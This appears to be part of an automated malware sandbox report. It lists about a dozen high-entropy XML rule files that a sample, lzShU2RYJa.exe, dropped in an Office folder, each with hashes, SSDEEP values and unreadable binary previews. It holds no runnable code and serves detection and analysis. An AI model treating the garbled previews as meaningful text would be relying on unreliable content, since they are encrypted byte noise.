Preview:	<?xml.....!....=...W..7a...R.G." .c..A......B..1{.PHEX.........6..d...8x.k...)..8..<\....P)<...r....C......~DN.......)j..ne.n.].!..pP~.^........S.b.yJ.!...t..y...}......j.....q.....'..h....S.&..H^.\(/.,....{....q}.`.....G2.3....R.Vml..c...#.X.3.....a.....P&.1..$....../9..A.;...m.G..l4...s..H.g..%1....).5}J.L.S...=...B..V W..!N0/..C./np.uv:6"1\R.M.....3.....`.../......V..d.4..)...\.x.z..q.5.;......q...&IBh.0..3.. ......n.R.....F..2gp..p..!.u`..~k.f..)..Dp..>.@EU.....z...&.C..t.EY.W..+UP!..G'.k...hc....k?....N...R...jJ..w.iN,2zFH.{.\|}....e....).....g}..o.uw6.:hl.\|.V.....a....ut..8. .U.Y......~.n.L5Ow+.<-<.C.c9]..W/.......Q.=...k^v{..&....t.".!...S^..._...k.2Y........yU%.n.$.k;..Q.QP-.Y.eK.u3.g.;. hK.sK._..q.Es+V.#z.................lo...( @..\|.....+-......p.R...d.df#^_.....!...^7.X.....r.....zY. c._1....@8...J....?q....e..(.b.'R%..7].?P.B.N.s~.q..._..N....`.~..f..b..9.jZ..r.g...B.......k...$.!.^MZ..hv......(.t.:.....2....)^.....I@..}..t.4=hW..\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.87261157643478
Encrypted:	false
SSDEEP:	24:popCXg4use4GI7tR4tar0aU68TDffsHvdWpdm+E5CsoOPO+qMpEwyEHIe7Z6mcVX:GegwGb0/U6wDfk1T+eWARSJEd7SFD
MD5:	251693D531F0EBCA817F1E95B58C795F
SHA1:	0322A261EE5CBE923979C07B1F022A8E2BA2556C
SHA-256:	9F2EEE8A446B4E82B057368AED9A367A114AD54D1173DF1AB53F7FC6B49ABC4C
SHA-512:	1A77339043BBF3F57DC0101EE356224654B04D3C249412E9FD36315652C5CDAFB65FA8E85135C5923C265BE439221D573157B29A21F93A4775F5004C646EC2ED
Malicious:	false
Preview:	<?xml..WX.......&I{.....b>p...&......6..P. .W....7.+8..T...Q.nx....HvJBo.,...V. o..^..%c.tn.:...Z..v.....5..M.......]L...&..t.T..........r...."W.G..m..$n.'<....D..u.^..-l.H....b......\|rs.z.nJ.r...zMA..2Z^.(.h.)>.QG....).q....:.GF..:..mc.....I..[r5...~...MU.....\4V?Z.!......1.4.w.8.\|e.C`L.>rLi..[..Y.q>..3.p..Get.Hv....S!.U\W'.H.vl.J.A...............9.eQ...../W?......w.......Tg?.<......E....U...p9.H.Wd.xV.fO.Fd...\...b...Z......l@..q%...mv.e.V.\7su.z}....r..B....L.l}~..>..W..m..'.N..P.......,K......e.%\.^t.dM..w.5............-.RQ5lU..my..D@Z.dD^.&..H!.Q.r..........%E.....c........4......h.c.]:.....f.&yI$j.U.\?7..C..z.~.\ke.F........./...]S..D.k[j......w=.V.'sZ.f..5.......je" .v.T........W..3.H..X=.....7>.{.=.]...T..;kN6.......E.[.R..C.l..CU..w.de..F.i......1....fF.S....-?..f.f.......@.....V..#x\|.3.Sv.\|.H.F.-Ir.2P...XX-+.&*.iG........lg......."(...\|"c...U.(.>..f...l..6$5.-....$...}#G.m.,.....i\....R.X.z.#.i..'>..I.k.P...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.881216475177191
Encrypted:	false
SSDEEP:	48:mPD+o3jsR2kNFQqgY0SxybobJxBeUd6LFD:SDnseY0jkxBEL9
MD5:	17E3E1FB27BC94E6E4624FB2327BACCF
SHA1:	1A03BD9B91C78DD8F7BEB354AF0E6A3B3511D898
SHA-256:	005F769ECAAC0582727ABEA9A2BD60DAE71E13C0E598ADF9550D7437612CD906
SHA-512:	A59A4CD632D1C52E89BDE662FF6A31851A16BA8DB2685CF8569C63384E67A5329D5D50D65A254302CB5444893A43C6D87A53D3C503AF6D57CCD0A15EF03443CB
Malicious:	false
Preview:	<?xml....r.5.$j..dG....4,U.X.......4R..l........`.w.s.H..'+..%.k...C.Q.(..Z -...z.zQ.'./$...y..6..#.)b~6.kyyPo.C...[.L.A......Zan...'.97.P.r.zz..H5`.A.#.D.yl..=+.;K\|...Z .....4...hF.~.DP./i.._l.....o.-.{.y+_...{.[..I7.A......J;..4..#...A...=...~.]6b.....z.U..Y..l.X..t;.._^"...s.......=.%...U....Y....bU..6k...ki{....Y..!...s..Q%I..I....V.%...B...Fa..!6...V.Y..6.....U.!.V-.....fm._m....1E]&X...Y.$4..e.q0.l..n....J..7z.k..g.b.....Hr....$,Vp.\|&.....SQ..q..R.M..a.O?..........O..i....Mc.0...Sp..(.TS...<}......jv.h.o.5a@:.....Z.U.F...b.iO..n..8&$.!......z.....B .TJ...9O.P....?5..n.(s)....f.z...............U..f.......OS..$..._...G.^..%V=Y.....oP.HKW..m.......5.tT.Pa[....9Z......So.p.N.......E....n.S.`.3...a......f....S...^-...}!..R;..>....\.....;f...QL7.'.........??...1..9......$w..'...91.r..L..d..[...v..I..".D..p.......V;....:.'ycz...q..".:Rj...k..'.j.wn...N../.....A~'..Qi..e /..........qW+e.T>.4k..._v.....?...H.c(w...O\+@t.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.887678338056498
Encrypted:	false
SSDEEP:	24:WIoaQE1Stl/zeRnYT6KMJ403bvhm/pzHEuOgP0Ecem0ourPAoOx+oLb9iVbD:1pJkl7eRnHJ5Lw/xBP0Le+hDRiFD
MD5:	3E174824AE4A412A50E4F9B44C7B0F7C
SHA1:	E54B402EA1F1ADEC8021C6E8369FC6D397F51559
SHA-256:	AE49723FB8AD94739D81F2205348CB280F4C8C5ECE47DBC30BF949830B5B2415
SHA-512:	96EBD2BA3E2B909F7E81A7AB493C930CB821C31060592AFB3181405B5B4A63487E6FCA52DE9925850D42113583F6AE05B12FD2246D55DBC5FCADC86D3DFEF58F
Malicious:	false
Preview:	<?xmlYz...9.g...... ~N..k...........ok2+v0.~...r...d.m.m..5..82WY..Xp.........9.vL.0..j..w...be......k ..E1.m^[.F.%.~.<...l...]sw(..NpL..ZS...F".h...#....Q>z.-\|.G.l....2...S..z"..n....'D.v..Y..QBz.HO..}R....9.&\|S.D....d.~.U(.....h..>&8$..@..dD."..\|=..,b ..R..6...,,..l.[V~W..P..\.....O.. ......v....N...$(.U\7..H..S....,:...<........1.9.\|.`...0..Bs...E.0..`H....O,t`.....tZ.r.........U8.....g..d.....qN. e.^59.<ie.\|.cp.^B.p.3.F..._...Xx.QI....).k._..Fa.F.XT@a..SQ...@.D0r......a.. ..F........V!\q.xo.b9........?%ry..K..(a!.@..3...x4.n%.N. ..R...V..yq....M..;..........F#D..aG.....4R.?t..c........v..KOP..@...o,..!........:N#.r...N......5A..!w.>.w....g..p....E..A\Y..f..x....H.?...j.+Gx\b..m..W.8......(7.....'...@.n.?......]....u....m\...U....+...2...9.T.1.~.....X.........`P?..s&..j..g.........CR.......?..z^.1H.N..9..en....h.C(..l.Q..e.wJ*..hF....a.R\|..A.m..:....y..n..JEE[.....g...\2.H.rt.4......]z.~../..Y.U....m8...#.....1_f..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.877707877388701
Encrypted:	false
SSDEEP:	48:gAOX/0yncMySyDpEmqDTI6bRhsEBnSWHYTT6tJtFD:gAOX/0yncnlUDfSWCs9
MD5:	24D8195F3B5F734B482C10DAA0A06EA6
SHA1:	4AC9BFD630B355E65DDF519E58A05F8B1BF72178
SHA-256:	87996ED016D29515896490A9E34D29933AB34A4C6DB3E8A950A24BB51D7AA66F
SHA-512:	E1687589FB207F22D4B6A4303CE4859F708CFEBB6886AB57C5773D01210BF9408930839E2A798407A6465F77D8423C971526DB54E8B4B37217706D2DDEEE7568
Malicious:	false
Preview:	<?xml,.e04a0.....m.90'.<.z...7r...<u..F.g.......s...B.........'.1/ey .....dd...i.EIH....l........X.?...r.^..7.A_.....\..h.ud....f}.w1b...a^....\l.;.55.D~HY/..t]qM`...a.+....:.e..}7e..DU.4.TE.Rb.......^...p. .......[..1F.E.r+.4...<!.yAkI!...}W.U......S4.X..v..f3.>.I..f..]...F_....],n.\|o..E8);..X.4...K........q..W".v....h.KP..6.2..&.X..K.\......N.hQ9e`...~e...a6....~..S"..rD3.>..B.w....<...n;...@J^......B...eK.u\|.$M'......N...y....;.........O.1...km[7.M;...dXM..O._;r~.6..U.i.}4..o..xC0.MN..)...h.!.:.,...........g..D.FN"..G.&.."..n.....Y.,...,+us.....{"l.#...9.....>A..E.:....n.4.?o\..m.bPGo..7Nj.......I.d ...i.n.Y.D.zb.....KI.9Qi..A.4..]..u...;U;......2j;dYKE..(....#XH...."......,G.,c4u.bv)..,v.}O.0C..U.."Vvm..A..y..F.'U.$C^..4.O...b..#....d-p.+.....x...%..u...M..1L...#.X.b.....b....s.2...`.W........m..._i...t...'..H.pak[.&...E.....T+o.^..&...i..L....<J....cbU..=.5.8.-........6'~@I... ...,;\"...s*..."...=..7..p~@...\...i....I9..`.-B....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.888548093562472
Encrypted:	false
SSDEEP:	24:xl/vjn96ak6RzCxXdagiAG4pr2YpRsiyMhZZAIH0fB08nWKrsBXroepjqNe0VbD:796aBz8uOvbbZZeyXrNWN1FD
MD5:	4A03B7BD74E310DE3548638ACDDA30D4
SHA1:	B55296B5D9D817AAD73F204D76C9F5FDE788C6D3
SHA-256:	9244FF43334E34CD17E5CDACD59BD289863E82E39977959DAD53E8C91AF8C2B1
SHA-512:	61501EE668F3FB5518D3082C25731CCA168704244ABAAEB2B9EF301A10C8EC8C06892DAEAC53F5F2617950AB2B4009BF71618DD5FA9B7420F7859576F7FAF8DD
Malicious:	false
Preview:	<?xml.....q.....5:! .@.v..F...Ct.. ....g..&.3..-p..'.DX./.f..\.....W^.......Y....JB....D.S. .)]..)Z4t...k.B(...z.Ih).....p..)5..S.`L:......<..]l.n#.......g,x..Z.l.#.S.?o..?..a..^.$.T.....GQj8J8.~Z..7z.!.I.U&.y.a..r..'j8D.Xs..k..{n...I...k/.F.i.s.,.c.+.A..".3.Us.....b.eP....]..B.....G...Ez..-X...q.oh!.S....Gk...qw0..p.V..<...S_.......h[.0.z.;.:..T.)..5...U..f.h..........-.#...q.N.{..><...t....k.8.......qI..$4\..K.I....Lw'p.d6)m..Q..H.[.4.<....5W."...e5c.].P.'Z.#.H..............)=-..5.gTi9..n..G....\..a..i........O.f>.u..Z.o@...\|!..,.U......4.11.aJX.....5.....{..4.#U.I ...n...^D..^.!-...pg..yo.b{..V.{..L..w.t.}..Q..J.-.H.^..$p.B.(`...ju...~.V8?g..%Ra./....I..78@...8.....T.,........V.&...$...k..t.\|X.tY0!.D."?.<......~.W........_.=./..4.1SD...J...z..8...:.O.. ...i.&..b4....pE< .........P..%..&.;.h.[kc.\|.db.n.l.~.&....bKfX.t.>.../].!...[.DCp.&.f0..\....J{%.f0.~........E\|eq.0F.....uCK9......w.@Oj.f..=...3.4U.T.Mk.X...U.;..p.."...9..~.?_..~`{2;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.880831695663749
Encrypted:	false
SSDEEP:	48:CAAAAigxfNO2cGJZIo+eGIwomUc+1gllFD:0FsiZBNGIwo1/u9
MD5:	7191B8EF2E6DD3ED7BFF64B8A15CADB6
SHA1:	139D5B8A7B40B457D955DD0634BC8404BFABDBFD
SHA-256:	CA37DC99729E58CE614911CEE87573EFA703BD47C2A97745BF2D33EAF7BBDF42
SHA-512:	5AF66014CD895D4A1F591E825F492689AE017D5BB9C5DCB775C688F378CEDC0D21849320CA475411B6AB310F14ADDC71ED757FCF3A6719239FDC224731C6961A
Malicious:	false
Preview:	<?xml...i......yk=.3..v.../?..s...0..@..7FV&Qaf..bc.q..p..."J.."Y...r._..1t..../...R.k..D}E.K.Y..v...K...... ..q.......x....CZ...j(.T....@>.J...6..M..K.%Vm_......LrA.L.....Cr....`......N.Ju..=..l.........o=..y:S..i.b...oM......Au...I?G.F......li^6K.$..x...WN....c...q/..Yc..^<..n......D.F.....X...h:.R?<...^..u....j......[3.E.......~d.'..W......]..Bi..-4..2.<''..U..4.G....;_...y...n..?.C%.r... .Z.....]~1...O7.4.[w1.i..H.>.\U.q.=.XNU.[...M...'...=.t..R...R)....>g.X.s.....r..XIjd.a]~n5.:...\|!..<7.\.D....A1.t..-..4]RH.Z..W..d.y.+b.....%.P.]o..X.o`T.$.5T.#.#h...S..-.)dq....../.]Ce..V.....,U.\|W.ju...._;.9[>Q.".xyD...k.\|...../.....9r'..mY.....)..?.6..^.......1...[V..g1U ?..g..A...aj.....:>g...m..R...5xu..Nw_;..~.l.o.#.......GaV.........W...}.:..+.kA3.4~.'f.-.>.b1..G.....oV...~/..J9P 0..:\|.9.l..6l.,H...2Nh,&..y..f&PP.Z`.ji...LJh.F:iX...!.~D .r.I......c.1q\|.~.....WT[I.C..Pf...$..`.o....V..\?...l%k...lw....E.s....*.........v1I..\|U.e....GiF.Jy...+o.K.5g...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.887374679573367
Encrypted:	false
SSDEEP:	48:HY9b3FXrznrv5qtYik5HDPJxCe0BwESMFD:HohDrxb1PKnBwHM9
MD5:	8CE48971638E003CFD52674987BD0E4E
SHA1:	AE02395DFA2CEADD0354108CC399FEA0C32FF784
SHA-256:	D1F19900554F8224285182B1038F6BEB582D16E6246F0C8C00A59EDB44C87E06
SHA-512:	B5C41BE1F04D13F823AEB30225077613C32D3751F9572FAE3D454D0784A19834D78B123F1BACF1153474FAEA3FEFA6A01B0296715DB58D6FD63D8B0E97102574
Malicious:	false
Preview:	<?xmlca....t..N..x...@...K.5."+.Z.....W..K.....q..X..3..}...uP...I....`....B$.Z.n.I.....y...I.D.. tb.t::....#.9.=.....,l^C...z...._....S....<..Sw..2s.j"@\|.NT&h.E6..>.. ..SJ...A.S`.q..m..&.."$..R.[..]....Y...G..02..hK....Bt3...`./..f.......2...m.-.).......o.L.....w..k..`.5M...M.].g....p"..w~(O}...{%.Se.M.......9.1..M9......:^...AK..V...O.%..7..;e.W......l.u..lOV3..h...{.......K...O.9:..i@.T.$=./...$.T..B._[9....V4...e....cd-.......$#-...{..,oX........N_....Wn)&bEzj^...Wv.&...4...a.E.a..4...........H....>1I....{m.......]kH.t..ma[S9.J......e..bU`gK.C...H....T.'.9..>zR.G.2r=.a...'d.o.o.....1%.@.ceAE...!5..S...g.1.._......#..,.....I...+%%...*..F...F..0\|.].&s.r..y.....b..MNeC~MO.[.A#O._.../.\|.....g....3U.t>..Ph..}.sc...PC...8......GW....w..tA..%.a....]Y. u_.......ihI.\|..."..tl..2...].-.1....K......3...A.C..%.......m 3`..E....>.Y..3.`.5hX.5-.N..j.].."..Q0.=...._`HT..@..)....up..WEq......p.K..8.........`..^.3c........s},...........N.{.Ck...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.866430829023384
Encrypted:	false
SSDEEP:	24:WEPKzEZHliymIhflolrCl+VE981F1VoUTq5B0yiL7AFp3VYyNJJSjhZnW4c3Knr9:jKoZHli1AWrWUEs1VCB0XM1NJ0FfrFD
MD5:	7E7816424E785C94FE550F3605131BE9
SHA1:	AFB5DE2CA650C70CAEE93982CBB9A5758709A023
SHA-256:	AD4C38F4154194824F3B3C131EBEB86156379FDF32A0212ECF510652DA0D6130
SHA-512:	6CEA5A57AB20BBA75A2A8D8F1ACB8E3DB8D1F82A4AEEAD10380141A99F9027E301F7279D129494970FCCC6C2060164D3EA06698F33EEB0D508CA6247764C6E9E
Malicious:	false
Preview:	<?xml.l..0.s..#=.r....\l.<.@..'...l...^..N..?gR.0...a).{.I.......oy.....M_....G.}...xu6a.#..:....t+[a....,=i..5.-%..7.x\4m.TVM.s..;.3...^.3......C.k...C. .b....![....iq.cM.e..O.....k.i5.5.kA....b...}+u.o^...Z.....X=.....2.?...\........R.r......h.v..........Wpp...E8J-.U}A..<[;.M..n.gas....g.$}.s.i.....O.....}R......[_...0`<..\|.H...k...^.`.6w....>6...\....!=...v.[Y..g...&I:.u..{Ll..9;.L..Na;.> .....ykY.k<...%....C....:..w]\..B...}.\..iX\..\^.=...vF...d:.Wu.yq.....;.4...,D{N..m.W3........;n.{..LMOQ......-....K..7..v.h..@!.........W..TlG.V.3.@... .a-.l.S..3O..\|... ."V.^.sBH.....k?....hk............r.N......p.heE.6.QK.. ..qT.KH..S...+A. V...)...1a..VV....,.#9...jB..AZ}...%U./D<...!..p.#..+..q..J.r.J.\..e.2...{..F......`.-...C..C..4;2.x..n#8.\|m...B:.J.......+:..p."..'v'..c.+s\|.......$...?.../.K.p..V.vLZ.r..2.#....O..?..r.w$90c8..\|&.....).:..Q..D.....!....n.)..p......M.I..Y.o.\|..2.C...0n".#..%(..j=..C.cPU...R.U*...3......k~.V.....s..A.x.....fQ.'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.897153521104071
Encrypted:	false
SSDEEP:	48:EoRDra2DcgOtGAjbgopLqp3kJ6sIuNxHmzaod/iPhLFD:zr/5OtGAIILE29IuNxOadPd9
MD5:	1F72F3194349712F55E521EBF79799BE
SHA1:	786EC689D235E475C3E17F0872AE7A117D322601
SHA-256:	002597FDABCC95B6EC8523C50A58A35E56F73DCE2162CA9EBAB460059DC56164
SHA-512:	AD75B44BCEFFF81FCBD4CA5619A669B95468F31776E726D5080C40D8AE9F244A29D766BBCAAC26ABDD90BAA966BBF553C753C36BDA9DC40BE6301457320CA37A
Malicious:	false
Preview:	<?xmlF...\|C..k.9m....`...JL.Pzw.P...D....x0..gG?\|`@...}.1.....(..V..;.%7..a96pq.i....(.....&L.._.=.u.'..F..../ .<V...G....!.T........`..A..s......>..O. F3. ..`...T.^..y..g..`.N.t..f..Zy(..Xcm...... ..8~%_.Tt.H..x.l3.N...Cds[[.Gi,N..G-....r.FV.>.%..:Y.dM.7>[\|_.@.......e.w...9.E..D..^...Q~..Z.^...h0.b...Lj.V_:B..s.+....L......(..&..:bu6.-....W..X.....5 ...(PM.S.P@...cI&N.c............;..E.f7....5.......6...h...2....C.......#.D\.b....".svwe.).{o..m.%.q..6..Fh5......FI...\.nTd..e..^L...J...x.f......70s.4...m...{].%r.B...:...........4.oI.....[.WH...9.4.}.....<\|D4....I[;p...x..AG/K%(.........~...oW.O...B..B;....x.jh.x..y.........2.....]...+.X.\2)..2...=..t......Jp#z`...WZVGFgE.n>".>bLFf.7w..8K..Y......;.....df>4......A3....4kK..h.`.@6.?6...(..a...........&!'3...h.......u.c...v....X$.r......I..3 .?.vy........;/\..]l.Q.s ..=.o.{...-.....Q. k....V......t.....R.c}..B.'@.v..C_.E.........;B..+....G;.......d_m.Q...}'.tyv..`.O....^....J.s.7!.Ph.Z.W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.874445667150718
Encrypted:	false
SSDEEP:	48:ateQMGGv3oeOca+vsnIrztvT6dLhascFD:aoxPv3QosIrY1Hc9
MD5:	B3DA9E3E05EA5CB352FD8EB0729A9C83
SHA1:	81F76930E766C9B37BC4428B84CAD4837DCF7FDE
SHA-256:	DA8068E9D82B7C20203118CB503AAD9CBEE11CC8174DB9A9601909A0A1AE8544
SHA-512:	3B760C21028332006C34F2863911F80AE6A7A1F736D5A96A7A31E274684F56804467528A9429052E4A8841923C1508EC1FB9EF6D941B9BC655773A65FAF83301
Malicious:	false
Preview:	<?xml+H.p...R.2.. ..W.-.O..Y...%.H'..+6.$4...l.K....5.X0..fu!.F...b....T....w..-......._....kLd.U.f" .%....H@...4...p...._n..........nbg..G.<L.0$..w\|..0..$.l..R.$.3.l...r.4....A.?.7.F...b.v..$.g.N6.>1.......Bl..u.v..V.p.i6E...:.;...>x....hw....l.....d........! .....<...v.0...,D\k;Ox..'.4.8.-..T..x...-.._5..\.@NF.B..`.c}?.H>.N.Ou.T\|......bp\|.gMG0.........&..[V7.S.....9#....i.A......8._E4..L...S.......X.4}.cf....<....q$d.H.'....r#e.C...R.$.w.n....]=.....=......xJ....{.9...>..>d.HE......#[..t..].W-.V.C.]X.'.a..>...${...b.1..h..........z..g!....S..C............B.H.M....BU.".4\.+.....:..\|...x..nD+e.HD..\.7u9e..a....~..`m.....c..n. .^....+..:....s..>a;...GB.G5...z.....j.}..vF...eB.Ot\.xY.... <.}..!...q..6o......a...N..F.c.........C,.d1..>.....V..Q.E...n..r...V+`kW...m....'...H.q.FF.s.X6....81..@Dz..\.F....>..7...4B.G...1..t.k`5.W...I....'.......03X.....\X..u...-....o5m.N.........:..mu"8\|.p"..`A...g.....$R..^r..F>..,..m..@.3E..I.....9........+....2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.882622544489211
Encrypted:	false
SSDEEP:	48:6yeFSwfdshf3B2SLpZn6vEc20grAEGeY+o0nfUfjdK0FD:6yeFCRBvXdlrAE1fFmjdK09
MD5:	95A8C25A2731C7C9E9D0ACA9FF7AD3B0
SHA1:	169A9A67F83EAD71C023A4C847EBBBF9D095519A
SHA-256:	88CA9E89ECB05741FE28A01DBF52D2D648FAC65CCB360B73AD84AF8A802150EC
SHA-512:	FAD73088E69CC83A6BF515E4266F631245BB1226ECECEB1F51EB8A71ACCE48CC414CCE775C065F50ACE169AE16BF7A8A6878C732C9E183BBF27659E5E3EE2AAB
Malicious:	false
Preview:	<?xml..T....1uq:..Is..$....C>..0.xnMk....B.....>..#XC...........Q.]Q<p.6L...7.f..~...+i.V.x.X..Z....~...+5v!$1..................yG..................,..`.U#5g.a....~....PB......w...Q$..$`9uT.....GrO..$..V...Vy.S=....67....[..AB..^.......q.()...."...B.#^D]Z.K.B...o....%.M!...(..Gk...y.w.H...?.x...>.Q.a.\.p...K .d....\|.>ikH...]~.s.....h..N.p...m~..!.....G.<......~...t......k....~;6.^9.I.i.I...P!....?rc..@...-W..&.=N#u..RU..k.........S...@..b..<...m:0....?).C....O.D.......f.hl5...0G.....6..(z......Z..]V.<.2g.....+.13vAh.....?......0(..Z...Bd"..1....).....Q....).....`[N..[T2V........-..".4.,.+5Mk.....O....>p.po......s(q.....].@.....A]m.....w.P_K...;.c.o...jR..&..R..E...Zs..0.kv..J;)../bS?...e.Y...).`AB....R.......~..';....mB........^pYje.......f)........oN.."..`../.......)...r....(.w.X.Y..E...Iu..5.F... 1...W...l.K...D.3.....O..a...\|.'..4...[.......!.l......!.N....'....7M...D9.2Xh.\|_....I..a.O.P...,.qHwL#......b...a:._.Z......$H.).C._..+..=!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.878455086570971
Encrypted:	false
SSDEEP:	48:04eJ792Hn3EUt5OuGRvU4OM6qgFHYSXFD:0B92H0UKvIM6qgph9
MD5:	4A13B7B6E3419FF28C12693E78BC8D7B
SHA1:	3C99231F105732D5ECA3C9F6EDEB4E22480EFA41
SHA-256:	58A6543AFA15CFFE64548C48D98EAFC4B703C725F62B5855A6E545EE02F68411
SHA-512:	8D2F245EECE7D4FB02E948D8C70B9A044B2210584C5C9E6AC2CB09F9A02B1B878E50D3FA69A5EA9915BC5E236E3B2275DF739D8EEFC2A7CFD81CF52686F28A62
Malicious:	false
Preview:	<?xml..T..p..s..I........L...jh.gY....TI......D:..s....P..XfY.....!..g{.0D.b<.....W..0/[...oj...BB....1.+..9.~p.../...N..t.6^t9.._].C......fv.S..I..dx..S...F....3..z.o$x......u.f ;.......k.v.]..3......s......;.....lh...C..C...lA.......Y.@...j..]...tk5.\|...m.:....+..`3\H..yS..wP...R.t...m.c...Y.-..'(0.tSI.A.&@>.54..?C-..+.n..}]\.3k... .R...e..y4..'.....f`.X...Q..../.h.Ff.Ql..\.avd.C........\|....i@U...;....>.I.?.4K".J8.T....m_....'...H(y........S6........Q.#.._.t.....\|.......Fd..3...y%b.Gq..e.3".."?P.pW.oO....Q)..]o.<.$}..^.a..>~..SH....]i..@..B..k..eS...AV9+".dcb...g.(Y~....G.R.,.<.4w9?v........9..l.^....iw#.>m.V..N%.....A.R..f.S.A.Tk7.../...h..?.6..."..R.x......6...1.L.W.>a.'...>...p...[...G....=.X.r.k.!.....w.......1........;3...[m..`.sr.*._..E)...'..O+..z.n..c..9).[5.r.\|.,...r.^'b...CV.../..$P%....y..'.d.....^...&..N/K...J...N..Y..<5.e/....=B...P...I.M$.,.?R....o.7.%.\e...Tm...K..l.E.<........h....T...O.\S.....,...S..7....\..g.Bw..x]..F&AjS

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.883184616221105
Encrypted:	false
SSDEEP:	48:Uo8JKrSYVPGWF/UX3hhz5RPANn1INyI0FzshOj8FfD5FD:Uo8JUVPG8UX39VALINZ0GLFt9
MD5:	7F9254FCCCE656784AB0F26FD1CAB334
SHA1:	5166BB42124EA304FDEA51D7DDB03CA85407CD6D
SHA-256:	D0892DB70ABF0EF5638E71D7671784680B84C49B705A35491F9BD6AB23D195D6
SHA-512:	1D4E0382ED6EB9709F5B343B78F1FAE3989052B48C19DD4253945432121533543F98E6566484A11C2691442DB3B5466F4063D3E4934B39C68E4EE32D7451E29D
Malicious:	false
Preview:	<?xml.D.%.{.R5.....0\|......]...,UV.+.6..{...._@O..-....:.......g..h..KK..dy{.W.l[..6.[......t.(i.x....\|......0n...E^...Q7k8.d...k.)..#..2.G........._6.D.7,B.!K......(......`(.H....)_U.8......P..,....Q%.@W.........K}n..9..I\|(........K.2.@.).\.5..<F....0e.W.!.I.8....{..h...$....hm............0N[..2........{@#...e.......1,...'..[.......uL.;.m\|>..q`:.Gv./].6\7~...3...!...17...@z(!..V..u.1....u0xP....]...3L.l.{<...Y......B..~.....(......l$/ER.....2.#)..=b\|..0..... ....1.{.J.~A..B......^.._._.../......$....(.y.!.......>(_%>.U9._.......c.\=')Vy<........F..)...P...}...+.D.).+1...X...5vw.....f...*..t. I=....).JD.].-m.....wQ.S:..'x@.H..6...qC,.,..f.....mJ..#....].5..t..v.....~.)q..i..Gk. =....?..c..f....W2Z....;..+>....?.Nt.E......Q..=..zY.......Nuq.o...+..r..)....I.Q......iW..NY.ccR...-..(..c.iW{..\......z.8...A.....P.{..\jG...X4..WLo4l\|..,..K...:OU..e.b.mB.lS.z_..H.u...R...N.0E..z.&o\`.82.z$....../.aH.I.h.$C.2...?;B2.V.+..h.....l.....7U.36.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.903532822357837
Encrypted:	false
SSDEEP:	24:715sutHM+FalUM1E43KhiD7gbN5hRbcjirzGoQMOJJnGIYVm/LNbKf66KiVbD:7X5tH3iUkEmDsbPDwu2MOJRgVmmqiFD
MD5:	1E6DB35B6F08B3551D05C1CCA274A904
SHA1:	C5CA5C3FCD2AEA35FB217659F8D5227F1DF278ED
SHA-256:	EF34042F4AB648EB6C0908DE740110C05A31252DA899EAF9E44DFEA6F35EC335
SHA-512:	F3C689529D73F8A2130C053383E2F3DE6C298B0541B5EE35B7515A8664D3238384159C605D0E535B0D813C474104349E0C198585AF1EECD2E4BCAA617562BCDD
Malicious:	false
